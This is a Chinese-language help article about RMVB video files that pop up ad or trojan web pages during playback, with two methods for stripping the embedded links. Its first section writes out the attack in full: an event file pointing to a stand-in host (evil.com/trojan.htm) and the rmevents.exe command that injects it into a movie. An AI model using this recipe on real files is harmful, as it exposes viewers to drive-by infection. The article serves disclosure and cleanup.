現象

許多網友下載 RMVB 影片播放時，會自動彈出廣告網頁甚至木馬網頁，導致中毒。本文揭露植入原理並提供清除方案。

一、駭客如何在 RMVB 植入網頁木馬

1. 準備木馬網頁：假設木馬網址為 https://evil.com/trojan.htm。
2. 製作媒體資訊檔：用記事本建立 muma.txt，內容：u 00:01:00 00:01:00 https://evil.com/trojan.htm，意為播放至第 1 分鐘自動開啟指定網頁。
3. 注入影片：安裝 Helix Producer Plus 9，在命令提示字元執行：
   "C:\Program Files\Real\Helix Producer Plus\RealMediaEditor\rmevents.exe" -i c:\movie.rmvb -e muma.txt -o c:\movie2.rmvb

二、清除影片中的木馬

方法 1：利用 Helix Producer Plus 覆蓋剪輯資訊

1. 建立空白文字檔 1.txt。
2. 執行命令：
   "C:\Program Files\Real\Helix Producer Plus\RealMediaEditor\rmevents.exe" -i C:\movie.rm -e 1.txt -o C:\movie2.rmvb
3. 原剪輯資訊被空白覆蓋，木馬連結隨之消失。

方法 2：RealMediaFilter 自動過濾工具（免安裝 Helix）

1. 執行 realfilter.exe，點「來源檔案」選擇帶毒 RMVB。
2. 指定「另存為」路徑，點「開始過濾」。
3. 程式自動呼叫 rmevents.exe 移除所有網頁木馬與廣告資訊，完成後顯示清除筆數與檔案縮減大小，獲得乾淨影片。

防範建議

播放前先用過濾工具處理，或使用支援腳本封鎖的播放器（如 PotPlayer、MPC-BE 等），從源頭阻斷惡意腳本執行。